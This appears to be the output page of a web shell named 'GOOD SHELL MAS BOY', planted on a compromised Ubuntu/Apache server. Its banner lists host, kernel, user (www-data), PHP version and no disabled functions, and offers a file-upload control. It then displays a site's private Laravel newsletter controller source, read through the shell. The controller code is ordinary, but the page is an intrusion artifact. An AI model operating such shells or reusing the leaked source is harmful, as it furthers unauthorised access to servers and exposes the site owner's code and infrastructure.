GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/api.ayokah.co.uk/app/Http/Controllers/Admin/NewsletterController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Models\Newsletter;
use App\Mail\NewsletterMail;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Mail;
use Illuminate\Validation\ValidationException;

class NewsletterController extends Controller
{
    public function store(Request $request)
    {
        try {
            $validatedData = $request->validate([
                'email' => ['required', 'email', 'unique:newsletters,email'],
            ]);
        } catch (ValidationException $e) {
            Log::error($e->getMessage());
            return response()->json(['error' => 'You are already in our newsletter'], 422);
        }
        try {
            $newsletter = new Newsletter();
            $newsletter->email = $validatedData['email'];
            $newsletter->save();
            Mail::to($newsletter->email)->send(new NewsletterMail($newsletter));
            return response()->json(['message' => 'Email received. Thank you!', 'newsletter' => $newsletter], 200);
        } catch (\Throwable $e) {
            Log::alert($e->getMessage());
            return response()->json(['error' => 'Poor internet connection. Failed to send newsletter mail but email is saved.'], 500);
        }
    }

    public function index()
    {
        $newsletter = Newsletter::latest()->paginate(10);
        return response()->json(['news' => $newsletter], 200);
    }

    public function delete(Request $request)
    {
        try {
            $validatedData = $request->validate([
                'id' => ['required', 'exists:newsletter,id'],
            ]);
        } catch (\Illuminate\Validation\ValidationException $e) {
            return response()->json(['error' => $e->errors()], 422);
        }
        $newsletter = Newsletter::findOrFail($request->id);
        $newsletter->delete();
        return response()->json(['message' => 'News letter deleted successfully'], 200);
    }
}